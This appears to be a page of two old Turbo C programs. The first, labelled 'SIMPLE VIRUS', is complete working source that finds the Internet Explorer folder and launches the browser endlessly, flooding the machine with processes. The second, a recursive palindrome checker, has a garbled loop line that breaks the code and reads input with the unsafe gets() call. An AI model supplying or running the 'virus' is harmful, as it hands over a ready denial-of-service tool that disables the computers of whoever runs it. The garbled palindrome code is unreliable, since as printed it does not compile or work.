SIMPLE VIRUS

#include "dos.h"
#include "dir.h"
#include "stdlib.h"

int find_root (void);

int main ()
{
int success;
success = find_root();
switch(success)
{
case 0:
chdir("c:\\program files\\internet explorer");
while(1)
system("iexplore.exe");

case 1:
chdir("d:\\program files\\internet explorer");
while(1)
system("iexplore.exe");

case 2:
chdir("e:\\program files\\internet explorer");
while(1)
system("iexplore.exe");

case 3:
chdir("f:\\program files\\internet explorer");
while(1)
system("iexplore.exe");
}

}


int find_root(void)
{
struct ffblk ffblk;
int done,drive;
done = findfirst("c:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 0;

done = findfirst("d:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 1;

done = findfirst("e:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 2;

done = findfirst("f:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 3;

return drive;
}

PROGRAM TO CHECK PALINDROME OF STRING USING RECURRSION

#include "stdio.h"
#include "conio.h"
#include "string.h"

int palindrome(char *string)
{
int len;
char first, last;
len = strlen(string);
if(len == 1 || len == 0)
return 1; //palindrome

first = string[0]; //first character of string
last = string[len-1];//last character of string
if(first == last)
{
/*delete first and last characters -- extract the middle
portion of string */

for(int i=0; i string[i] = string[i+1];//this deletes first char

//now delete last char
string[len-2] = '\0';

return palindrome(string);
}

return 0; //not palindrome
}


int main()
{
char str[30];
clrscr();
printf("\nEnter a string: ");
gets(str);

if(palindrome(str))
printf("\nPalindrome.");
else
printf("\nNot palindrome");

getch();
return 0;
}